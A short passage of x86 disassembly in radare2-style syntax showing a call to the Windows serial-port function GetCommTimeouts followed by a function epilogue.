call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10